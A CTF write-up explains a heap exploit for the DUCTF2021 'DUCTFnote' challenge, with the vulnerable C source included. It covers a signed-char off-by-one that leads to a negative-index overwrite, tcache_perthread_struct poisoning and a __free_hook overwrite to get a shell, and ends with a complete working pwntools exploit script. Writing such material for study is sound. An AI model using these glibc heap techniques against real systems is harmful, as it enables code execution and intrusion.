Tags: tcache-poisoning heap tcache_perthread_struct 

Rating: 4.5

# DUCTFnote

DUCTFnote was a heap challenge from DUCTF2021 that at the end of the CTF finished with 28 solves and a value of 471 points. I actually solved the challenge an hour after the CTF finished, but enjoyed the task (thanks to grub for writing it), so thought I would do a write-up.

![Challenge description on website](https://i.imgur.com/7SClAyg.png)

## Provided files

We are giving the binary itself `ductfnote`, the libc binary `libc-2.31.so` and the source of the challenge `ductfnote.c`. Having the source is really nice, because we can skip some reversing and do some source code analysis to find the bugs.

### ductfnote

Looking at the binary itself:

```bash
$ checksec ductfnote
[*] '~/CTF/DUCTF/2021/pwn/DUCTFnote/ductfnote'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
$
```

We can see it has got fairly standard protections for a heap challenge.

### libc-2.31.so

The version of libc is identified by [libc-database](https://github.com/niklasb/libc-database) as `libc6_2.31-0ubuntu9.2_amd64` (which means it's a standard unmodified version of libc).

```bash
$ md5sum libc-2.31.so
d371da546786965fe0ee40147ffef716 libc-2.31.so
$
```

In terms of libc mitigations:
* It's above 2.29 - so keys have been added to the tcache (as double free mitigation).
* It's below 2.32 - so no pointer mangling for singly linked list ([Safe Unlinking](https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/)).
* It's below 2.34 - so tcache key is not randomised and `__malloc_hook` and `__free_hook` still avaliable.

## Challenge overview

If we run the challenge we are greeted with a fancy banner and a menu:

```bash
$ ./ductfnote
%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%..............%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%% ,%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ,%
%%%%%%%% %%%%%%%%%%%%% ,%
%%%%%%%% %%%% %%%%%%%%%%%%%%%%%%%%% ,%
%%%%%%%% %%%%%\ %%%%%%%%%% %%##%
%%%%%%%% %%%%%%\ %%%%%%%%%%%%%%%%%%% %% ,%
%%%%%%%% %%%%%%% %%%%%%%%% %% ,%
%%%%%%%% %%%%%%% %%%%%%%%% %%%%%
%%%%%%%% %%%%%%% %%%%%%%%%%%%%%%%%%% %% ,%
%%%%%%%% %%%%%%/ %%%%%%%%%% %% ,%
%%%%%%%% %%%%/ %%%%%%%%%%%..........
%%%%%%%% %%%%%%%%%%%%% %% ,%
%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% ,%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%

*******************************************
* DUCTFnote *
*******************************************

1. Create Note
2. Show Note
3. Edit Note
4. Delete Note
>>
```

The description of the challenge was "You only get OneNote" (hence the ascii art banner is a play on the [OneNote logo](https://upload.wikimedia.org/wikipedia/commons/9/9e/Microsoft_OneNote_2013_logo.svg)), but this is also due to the fact that the challenge only holds a single pointer to a note.

### Create Note

If we pick `1. Create Note`:

```bash
>> 1

Size:
```

We have the option to provide a size, it then uses that value to determine the size it will use in the malloc request (but as you will see, it is not simply using that value). Let's look at the code for note creation:

```c
case 1:
printf("Size: ");
unsigned int size;
scanf("%d", &size);
getchar();
note = create_note(size, params);
break;
```

So, it reads the size and passes it to `create_note`, which then populates our single pointer (called `note`). Note is a local variable of main:

```c
datanote_t* note = NULL;
```

But, clearly note is a pointer to some kind of structure (rather than just some data), so let's take a look at that type:

```c
typedef struct datanote {
unsigned int size;
char data;
} datanote_t;
```

So, note stores the size of the data followed by the data. Before we move onto the code for `create_note`, we should look at that `params` argument that is also being passed. It is initialized at the start of `main`:

```c
param_t* params = (param_t*)malloc(sizeof(param_t));
params->maxsize = 0x7f;
```

That `maxsize` attribute that we see being set, is the only member of the struct:

```c
typedef struct param {
unsigned int maxsize;
} param_t;
```

So, now we have a good idea of the arguments being passed to `create_note`, let's examine the code:

```c
datanote_t * create_note(unsigned int size, param_t *params) {
if (size > params->maxsize) {
printf("Note too big.\n");
return 0;
}
int allocsize = size | 0x80;
datanote_t * note = (datanote_t*)malloc(allocsize + 8);
note->size = size;
return note;
}
```

So the size is going to get checked against `maxsize` (which we know is 0x7f) and if it is found to be greater, it will just return zero. But after that point, things get interesting...

The size we provide is OR'd with 0x80 (effectively adding 0x80 to the value we provide) and then before the malloc, 8 is added to the size again. This means that even if we provide a size of 0, this will first have 0x80 added to it, then another 8, which would then result in a 0x90 byte chunk (the smallest size we can allocate). The largest size we can supply is 0x7f, which would then result in a 0x110 sized chunk.

Finally we can see that the value stored as the `size` attribute of the chunk is the original size value we supplied (with none of the addtions done to it).

### Edit Note

If we have created a note, we can edit it with the `3. Edit Note` option.

```bash
>> 1

Size: 16

1. Create Note
2. Show Note
3. Edit Note
4. Delete Note
>> 3

AAAAAAAAAAAAAAAA

1. Create Note
2. Show Note
3. Edit Note
4. Delete Note
>>
```

If we look at the code it is very simple:

```c
case 3:
edit_note(note);
break;
```

Which then calls:

```c
void edit_note(datanote_t * note) {
if(!note) {
printf("No Note.\n");
return;
}

signed char idx = 0;
while(idx <= note->size) {
*(&(note->data)+idx) = fgetc(stdin);
if (*(&(note->data)+idx) == '\n') {*(&(note->data)+idx) = '\0'; break;}
idx++;
}
}
```

This is going to first check we have a note and then it will use that size field that got populated during creation to limit how many characters we can write. The loop will also exit early if we supply a newline character.

So after the above example (where we gave a size of 16 and then 16 bytes of data), the memory looks like:

![Memory after edit of 16 bytes](https://i.imgur.com/HZhVcXn.png)

We get a 0xa0 byte chunk and in the data, we get a `size` field of 0x10, followed by that many 'A' chars.

Worth noting at this point that the chunk before the one we allocated is the params object with the maxsize field in it. The chunk before that (the first on the heap) is the `tcache_perthread_struct`, which we'll talk about more later, but if you're not familiar with it, know that it is the metadata for the tcache.

### Show Note

If we select the `2. Show Note` option, we can display the data held in the note:

```bash
>> 2

<------------ NOTE 1 ------------>
AAAAAAAAAAAAAAAA
<-------------------------------->

1. Create Note
2. Show Note
3. Edit Note
4. Delete Note
>>
```

The code for this is again very simple:

```c
case 2:
show_note(note);
break;
```

Which calls:

```c
void show_note(datanote_t * note) {
if(!note) {
printf("No Note.\n");
return;
}

printf("<------------ NOTE 1 ------------>\n");
fwrite(&(note->data), note->size, 1, stdout);
printf("\n");
printf("<-------------------------------->\n");
printf("\n");
}
```

It checks the `size` from the header and then does an fwrite of that amount from the `data` field. The use of fwrite, means we have no opportunity for format string bugs or leaks via pressing our string right up to some target data, but it also means we don't have to worry about our data having NULL bytes in it.

### Delete Note

If we pick the `4. Delete Note` option, we can free the note:

```bash
>> 4

1. Create Note
2. Show Note
3. Edit Note
4. Delete Note
>>
```

The code for which is simple:

```c
case 4:
free(note);
note = 0;
break;
```

It does zero out the `note` pointer, so we can't get a double free and obviously you can call this when note is not populated, but that is just going to do a `free(0)` which returns harmlessly.

## Bugs

### Uninteresting NULL pointer dref

Not interesting to us, but because we can create a new chunk, without free'ing the old chunk and there is no limit to the number of chunks we can allocate, we could just keep requesting chunks until we exhaust the amount of memory our process is able to allocate. Then in the `create_note` code:

```c
datanote_t * note = (datanote_t*)malloc(allocsize + 8);
note->size = size;
```

It fails to check the return value from `malloc`, so if malloc fails it will return NULL and then it will try to dereference that NULL pointer, causing a crash.

Again, not useful, but a bug none the less.

### Useful bug

You might have already spotted the bug in the `edit_note` loop code. If we look at it:

```c
signed char idx = 0;
while(idx <= note->size) {
*(&(note->data)+idx) = fgetc(stdin);
if (*(&(note->data)+idx) == '\n') {*(&(note->data)+idx) = '\0'; break;}
idx++;
}
```

The check for the index (`idx`) against the `size` field is a less than or equal, and with the index starting at zero this means that we can actually write one byte more than the size we asked for. For example:

```bash
Size: 16

1. Create Note
2. Show Note
3. Edit Note
4. Delete Note
>> 3

BBBBBBBBBBBBBBBBB

1. Create Note
2. Show Note
3. Edit Note
4. Delete Note
>>
```

Here I have asked for 16, but have written 17 'B' characters. If we check that out in memory:

![17 byte write](https://i.imgur.com/qy2fOaK.png)

We could start thinking about overflowing into another chunk but remember the size of our chunk is our value with 0x88 added to it (so it's going to be much larger than the amount we can write). But there is another interesting aspect to this, because `idx` is a signed character, if we ask for the largest size we can (0x7f or 127) the bug will allow us to write 128 chracters (making `idx` 0x7F), but then when it does the `idx++;` it will set the value to be 0x80, which for a signed char will be -127. Obviously -127 is less than or equal to 127, so the loop continues.

We can test this by asking for a size of 127 and then supplying 128 'A's and one 'B':

```
>> 1

Size: 127

1. Create Note
2. Show Note
3. Edit Note
4. Delete Note
>> 3

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB

1. Create Note
2. Show Note
3. Edit Note
4. Delete Note
>>
```

No objections. And if we check memory:

![One 'B' overflow](https://i.imgur.com/fosaDcI.png)

We can see that the one 'B' is written backwards in memory, into the space of the `tcache_perthread_struct` entry. If we were to continue writing we would overwrite more bytes, growing towards our 'A's. With this bug we can control the 128 bytes before our `data` field.

## Exploitation

### Removing the 0x7f size restriction

The plan is to use the negative index overflow to modify all the way down until we overwrite the `maxsize` attribute of the `params` struct.

I used the following:

```python
alloc(127)
buff = b'A'*128 # fill till offset goes negative
buff+= b'\x00'*84 # fill space (in tcache meta data) till we hit start of params chunk
buff+= p64(0x21) # leave header of params chunk in tact (dont have to, but why not?)
buff+= p64(0xffffffff) # alter maxsize to be max int.
edit(buff)
```

If we look at memory after this has executed:

![Maxsize is overwritten](https://i.imgur.com/rn0AiZK.png)

After we have done this we can now ask for a size larger than 127:

```bash
1. Create Note
2. Show Note
3. Edit Note
4. Delete Note
>> 1

Size: 1337

1. Create Note
2. Show Note
3. Edit Note
4. Delete Note
>>
```

### Getting libc addresses onto the heap

If we wanted a heap leak, this version of libc makes it fairly easy due to the `key` field of the free'd tcache chunks pointing into the `tcache_perthread_struct`. For example free'ing a 0xa0 sized chunk:

![tcache key example](https://i.imgur.com/S3T1CsC.png)

And when I was developing the exploit I did this first, but later decided it wasn't useful. What we really want is a libc address and to get that we need the free'd chunk to be in one of the doubly linked bins (not tcache and not fastbin).

A classic way to do this would be to pick a size above fastbin sizes (>0x80 by default) and then free enough chunks to fill the tcache (7 chunks) so the next one would be put into a non-tcache bin. But we can't easily free multiple chunks of the same size into a tcache bin, because you can only free the thing you have most recently allocated, so if you free'd an 0xa0 chunk into the tcache, you would then need to get another 0xa0 sized chunk, and to do that you would need to malloc a new 0xa0 sized chunk, which would then give you back the one you just free'd.

The next way to do it would be to pick a size outside of tcache range (>0x410) and you might think this would be easy now that we have made it so we can allocate any size.. however, if free a chunk is outside of tcache range, unless there is a chunk between it and the top chunk, it is just going to be consolidated into the top chunk.

The solution is to craft our own sufficiently large chunk by messing with chunk header sizes. We take two tcache size chunks (the size of which combined would be outside of tcache range) and then change the size of the first to cover both of them. We will also have to have a chunk following them to prevent consolidation.

Here is my code for this:

```python
alloc(0x200)
free()
alloc(0x210)
free()
alloc(30) # acts as guard to prevent consolidation
free()
```

If we inspect memory after this:

![Two large tcache chunks](https://i.imgur.com/c1EVWYn.png)

So we have create a 0x290 chunk, followed by a 0x2a0 chunk, followed by a 0xb0 size chunk.

We then use the index overflow trick on the first of these three new chunks to change its chunk size field.
(We make the new chunksize exactly fit over the two chunks: 0x290 + 0x2a0 = 0x530)

```python
alloc(0x200)
buff = b'A'*128 # fill till offset goes negative
buff+= b'\x00'*116 # pad until we hit the size field of the chunk
buff+= p64(0x531) # new chunk size (completely overlaps next chunk)
edit(buff)
```

Inspecting the memory:

![New 0x530 sized chunk](https://i.imgur.com/oaTqy0R.png)

Then we free it:

```python
free()
```

![Chunk now in unsorted bin](https://i.imgur.com/Bl3mP2X.png)

Now we just need to leak one of those pointers.

### Leaking the pointers

With hindsight, if I had picked my new large chunk size more carefully (making it something I could allocate back, without the OR with 0x80 getting in the way), I could have used the fact that the `create_note` doesn't zero out the data to use a show on the chunk, and simply get the value. But.. as I mentioned before, I had been doing a leak of the `key` field of tcache chunks and those do get zero'd when the chunk is allocated, so I had to come up with another way.. which I just reused for this.

I used our initial '127' chunk and overflowed it again to change the size field of the `datanote_t` struct to be large enough that it would include the start of the 0x530 chunk:

```python
alloc(127) # get our initial '127' chunk again
buff = b'A'*128 # fill till offset goes negative
buff+= b'\x00'*84 # fill space (in tcache meta data) till we hit start of params chunk
buff+= p64(0x21) # leave header in tact
buff+= p64(0xffffffff) # leave max size modified
buff+= p64(0)+p64(0) # pad the rest of that 0x20 chunk
buff+= p64(0x111) # keep our chunk size in tact
buff+= p32(0x120) # modify the size field of our datanote_t struct
edit(buff)
```

![modifed note size](https://i.imgur.com/VuMWkRI.png)

Now I just request the content of the note and extract the bytes I need:

```python
data = show()
# extract just the addr and calculate the libc base from it
addr = u64(data[268:276])
info(f'leaked libc addr: 0x{addr:x}')
libc.address = addr - 0x1ebbe0
info(f'libc base: 0x{libc.address:x}')
```

Which gives:

```bash
[*] leaked libc addr: 0x7f622ba86be0
[*] libc base: 0x7f622b89b000
```

### Allocating the address of free hook

With the lack of safe unlinking (introduced in glibc 2.32), it might seem like an easy way to get an arbitary address allocated back to you would be to modify the data of the `fd` pointer of a free'd chunk in a tcache bin. However, you would then need to request that chunk back to you (making your desired location the head of that tcache bin) and then do a final allocation to get that address allocated to you. The issue is that the tcache keeps track of the number of chunks in each tcache bin and will not allocate a chunk to you (even if the pointer for that bin is not NULL) if the count for that bin is zero. So, to make this work, we would need to have the count be more than one when we do the overwrite, however we have already discussed the issues with getting more than one chunk into a tcache bin in this challenge.

A far easier way in this case, is to simply target the pointers to the heads of the tcache bins, which are store inside the `tcache_perthread_struct` (which we know we can overwirte some of).

Let's look at the definition of the `tcache_perthread_struct`:

```c
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
```

So, an array of counts and then an array of points to the bins for those counts.
The size of the count fields change depending on the version of glibc, in the code above it is represented by a single byte, but since glibc 2.31 (which we are using), this has changed to be a `uint_16`.

Currently in our tcache we still have 2 chunks, the guard chunk (0xb0), and the second of the chunks that we used to make the 0x530 chunk (0x2a0). So if we inspect the memory:

![Tcache meta data](https://i.imgur.com/bZqKHEX.png)

You can see two non-zero count fields and two non-zero pointers.

We can only overwrite the latter part of the structure (containing the pointers to the larger sized tcache bins) and certainly not the part containing the counts. So we need the count for the bin pointer we intend to overwrite to already be non-zero.

If I had wanted to optimize my solution I would have used a larger chunk for the 'guard chunk' from earlier, and thus saved a step now, but when I know I might be writing something up later, I try to keep the steps as distinct as possible.

So we simply allocate a chunk of a size near the end of the tcache range and then free it:

```python
alloc(0x3f8)
free()
```

![New pointer at end of tcache metadata](https://i.imgur.com/I4tF23n.png)

This has created a chunk well within the range of our overflow from the '127' chunk.
Now we just have to write the address of `__free_hook` over that pointer.. well.. almost.. we have to take account of the fact that we don't get to control the very start of the data for the allocated chunk (because the 4 byte size field gets written there), but we can work around this by just subtracting 8 bytes from the address:

```python
alloc(127)
# Now do the overflow again, but this time we want to mess with the pointer
# for the 0x3f8 chunk we just free'd in the tcache meta data
buff = b'A'*128
buff+= b'B'*68
buff+= p64(libc.symbols.__free_hook-8) # aim 8 bytes back (because of size field)
edit(buff)
```

Inspecting memory:

![Modified tcache pointer](https://i.imgur.com/MAGg8Pm.png)

Now we allocate another chunk of that size and we will be given a pointer to just before `__free_hook`. We then just overwrite its content (accounting for the padding for the size field):

```python
alloc(0x3f8)
edit(b'P'*4 + p64(libc.symbols.system)) # overwrite (accoutning for 4 bytes of pad)
```

Which when inspect with gdb, gives:

```bash
pwndbg> x/gx &__free_hook
0x7f622ba89b28 <__free_hook>: 0x00007f622b8f0410
pwndbg> x/2i 0x00007f622b8f0410
0x7f622b8f0410 <__libc_system>: endbr64
0x7f622b8f0414 <__libc_system+4>: test rdi,rdi
pwndbg>
```

### Triggering free hook to get shell

We now need a chunk containing '/bin/sh' that we can free to get a shell. To do this, I will once more allocate our '127' chunk and use its overflow to modify the chunk data to be '/bin/sh':

```python
alloc(127) # use '127' chunk again
buff = b'A'*128 # fill till offset goes negative
buff+= b'B'*124 # pad till we reach chunk data
buff+= b'/bin/sh\x00' # place '/bin/sh' string
edit(buff)
```

Which gives:

![String '/bin/sh' now in memory](https://i.imgur.com/BY3D5dv.png)

The heap visualization is a bit messed up (because I trashed the headers for the chunk - I could have fixed these up, but we really don't need them any more).

Finally we just free the chunk to get a shell:

```python
free()
io.interactive()
```

## Running solution

```bash
$ ./exploit.py REMOTE
[*] '~/CTF/DUCTF/2021/pwn/DUCTFnote/ductfnote'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RPATH: b'.'
[*] '~/CTF/DUCTF/2021/pwn/DUCTFnote/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to pwn-2021.duc.tf on port 31917: Done
[*] leaked libc addr: 0x7fd873ca8be0
[*] libc base: 0x7fd873abd000
[*] Switching to interactive mode
$ ls -l

total 2200
-rw-r--r-- 1 65534 65534 42 Sep 17 11:24 flag.txt
-rwxr-xr-x 1 65534 65534 191472 Sep 17 11:24 ld-2.31.so
-rwxr-xr-x 1 65534 65534 2029224 Sep 17 11:24 libc.so.6
-rwxr-xr-x 1 65534 65534 21832 Sep 17 12:29 pwn
$ cat flag.txt
DUCTF{n0w_you_4r3_r34dy_f0r_r34l_m$_0d4y}
$
```

## Full solution script

```python
#!/usr/bin/env python3
from pwn import *

exe = context.binary = ELF('./ductfnote')
libc = exe.libc

gdbscript = '''
set disassembly-flavor intel
tbreak main
continue
'''

if args.REMOTE:
io = remote('pwn-2021.duc.tf', 31917)
elif args.GDB:
io = gdb.debug(exe.path, gdbscript=gdbscript)
else:
io = process(exe.path)

def alloc(size):
''' it allocates 8 bytes extra anyway '''
io.sendlineafter(b'>> ', b'1')
io.sendlineafter(b'Size: ', f'{size:d}')

def free():
io.sendlineafter(b'>> ', b'4')

def edit(data):
io.sendlineafter(b'>> ', b'3')
io.sendline(data)

def show():
io.sendlineafter(b'>> ', b'2')
io.recvuntil(b'NOTE 1 ------------>\n')
ret=io.recvuntil(b'<-------------------------------->\n', drop=True)
return ret

#####################################################################
# Overflow using the negative index to modify the params size field #
#####################################################################
alloc(127)
buff = b'A'*128 # fill till offset goes negative
buff+= b'\x00'*84 # fill space (in tcache meta data) till we hit start of params chunk
buff+= p64(0x21) # leave header of params chunk in tact (dont have to, but why not?)
buff+= p64(0xffffffff) # alter maxsize to be max int.
edit(buff)

#####################################################################
# Craft a chunk outside of tcache range #
#####################################################################

# Allocate some more chunks after (free'ing each time)
#
# Can pick whatever sizes we want, but needs to add up to a
# size outside of tcache chunk range (>0x410) and avoid re-using
# our initial chunk size.
#
free() # free our inital '127' sized chunk (for use again later)
alloc(0x200)
free()
alloc(0x210)
free()
alloc(30) # acts as guard to prevent consolidation
free()

# re-allocate the first of those three and use the overflow to mod its size
alloc(0x200)
buff = b'A'*128 # fill till offset goes negative
buff+= b'\x00'*116 # pad until we hit the size field of the chunk
buff+= p64(0x531) # new chunk size (completely overlaps next chunk)
edit(buff)
# now free it to create a non-tcache sized free chunk (with libc pointers)
free()

#####################################################################
# Leak pointer from free'd 0x530 chunk #
#####################################################################

# We use our initial '127' chunk again over an overflow. But this time
# the target is the size field in the data of our chunk (changing the 0x7F)
# to something larger.
alloc(127) # get our initial '127' chunk again
buff = b'A'*128 # fill till offset goes negative
buff+= b'\x00'*84 # fill space (in tcache meta data) till we hit start of params chunk
buff+= p64(0x21) # leave header in tact
buff+= p64(0xffffffff) # leave max size modified
buff+= p64(0)+p64(0) # pad the rest of that 0x20 chunk
buff+= p64(0x111) # keep our chunk size in tact
buff+= p32(0x120) # modify the size field of our datanote_t struct
edit(buff)

# Now 'show the data'
data = show()
# extract just the addr and calculate the libc base from it
addr = u64(data[268:276])
info(f'leaked libc addr: 0x{addr:x}')
libc.address = addr - 0x1ebbe0
info(f'libc base: 0x{libc.address:x}')

#####################################################################
# Overwirte an existing tcache pointer with &__free_hook #
#####################################################################

# Free our '127' chunk (so we can get it back later)
free()

# Now allocate a chunk and free into the tcache (to set the count for
# that tcache size to one).
alloc(0x3f8)
free()

# Now get our first chunk back
alloc(127)
# Now do the overflow again, but this time we want to mess with the pointer
# for the 0x3f8 chunk we just free'd in the tcache meta data
buff = b'A'*128
buff+= b'B'*68
buff+= p64(libc.symbols.__free_hook-8) # aim 8 bytes back (because of size field)
edit(buff)

# free the '127' chunk once more (so we can get it back later)
free()

# now try to alloc the __freehook back to us as a chunk
alloc(0x3f8)
edit(b'P'*4 + p64(libc.symbols.system)) # overwrite (accoutning for 4 bytes of pad)

#####################################################################
# Create a chunk containing '/bin/sh' we can free #
#####################################################################

alloc(127) # use '127' chunk again
buff = b'A'*128 # fill till offset goes negative
buff+= b'B'*124 # pad till we reach chunk data
buff+= b'/bin/sh\x00' # place '/bin/sh' string
edit(buff)

#####################################################################
# Pop a shell and win #
#####################################################################

free()
io.interactive()
```

## Appendix - Challenge source

```c
#include <stdlib.h>
#include <stdio.h>
#include <malloc.h>

typedef struct param {
unsigned int maxsize;
} param_t;

typedef struct datanote {
unsigned int size;
char data;
} datanote_t;

void init();
void welcome();
void print_menu();
datanote_t * create_note(unsigned int size, param_t* params);
void show_note(datanote_t * note);
void edit_note(datanote_t * note);

int main() {
init();
welcome();

int choice;
datanote_t* note = NULL;
param_t* params = (param_t*)malloc(sizeof(param_t));
params->maxsize = 0x7f;

while(1) {
print_menu();

scanf("%d", &choice);
getchar();
printf("\n");
switch (choice) {
case 1:
printf("Size: ");
unsigned int size;
scanf("%d", &size);
getchar();
note = create_note(size, params);
break;
case 2:
show_note(note);
break;
case 3:
edit_note(note);
break;
case 4:
free(note);
note = 0;
break;
default:
printf("Invalid option.\n");
}
}

return 0;
}

void init() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}

void welcome() {
printf(" %%%%%%%%%%%%%%%%%% \n");
printf(" %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% \n");
printf(" %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%..............%%%%%%%% \n");
printf(" %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ,%% \n");
printf(" %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ,%% \n");
printf(" %%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%% ,%% \n");
printf(" %%%%%%%%%%%%%%%% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ,%% \n");
printf(" %%%%%%%%%%%%%%%% %%%%%%%%%%\\ %%%%%%%%%%%%%%%%%%%% %%%%##%% \n");
printf(" %%%%%%%%%%%%%%%% %%%%%%%%%%%%\\ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%% ,%% \n");
printf(" %%%%%%%%%%%%%%%% %%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%% %%%% ,%% \n");
printf(" %%%%%%%%%%%%%%%% %%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%% %%%%%%%%%% \n");
printf(" %%%%%%%%%%%%%%%% %%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%% ,%% \n");
printf(" %%%%%%%%%%%%%%%% %%%%%%%%%%%%/ %%%%%%%%%%%%%%%%%%%% %%%% ,%% \n");
printf(" %%%%%%%%%%%%%%%% %%%%%%%%/ %%%%%%%%%%%%%%%%%%%%%%..........\n");
printf(" %%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%% %%%% ,%% \n");
printf(" %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%% ,%% \n");
printf(" %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% \n");
printf(" %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% \n");
printf(" %%%%%%%%%%%%%%\n\n");

printf(" *******************************************\n");
printf(" * DUCTFnote * \n");
printf(" *******************************************\n\n");
}

void print_menu() {
printf("\n");
printf("1. Create Note\n");
printf("2. Show Note\n");
printf("3. Edit Note\n");
printf("4. Delete Note\n");
printf(">> ");
}

datanote_t * create_note(unsigned int size, param_t *params) {
if (size > params->maxsize) {
printf("Note too big.\n");
return 0;
}
int allocsize = size | 0x80;
datanote_t * note = (datanote_t*)malloc(allocsize + 8);
note->size = size;
return note;
}

void show_note(datanote_t * note) {
if(!note) {
printf("No Note.\n");
return;
}

printf("<------------ NOTE 1 ------------>\n");
fwrite(&(note->data), note->size, 1, stdout);
printf("\n");
printf("<-------------------------------->\n");
printf("\n");
}

void edit_note(datanote_t * note) {
if(!note) {
printf("No Note.\n");
return;
}

signed char idx = 0;
while(idx <= note->size) {
*(&(note->data)+idx) = fgetc(stdin);
if (*(&(note->data)+idx) == '\n') {*(&(note->data)+idx) = '\0'; break;}
idx++;
}
}
```

IdanBananiSept. 30, 2021, 7:59 a.m.

Awesome writeup! explained it very well


H4loOct. 1, 2021, 3:52 a.m.

Awesome writeup! is the colored heap chunk a plugin of ‘pwndbg’?


MidnightTracerOct. 1, 2021, 2:11 p.m.

Hey :)

Yea, the colored heap chunks are from the 'vis_heap_chunks' command of the pwndbg GDB plug-in (https://github.com/pwndbg/pwndbg). Would really recommend it for heap related challenges.


H4loOct. 5, 2021, 2:35 a.m.

@MidnightTracer, Thx very much!


Gon_TanakaJan. 2, 2022, 3:15 p.m.

Very clear and well explained with a lot of details. Thank you very much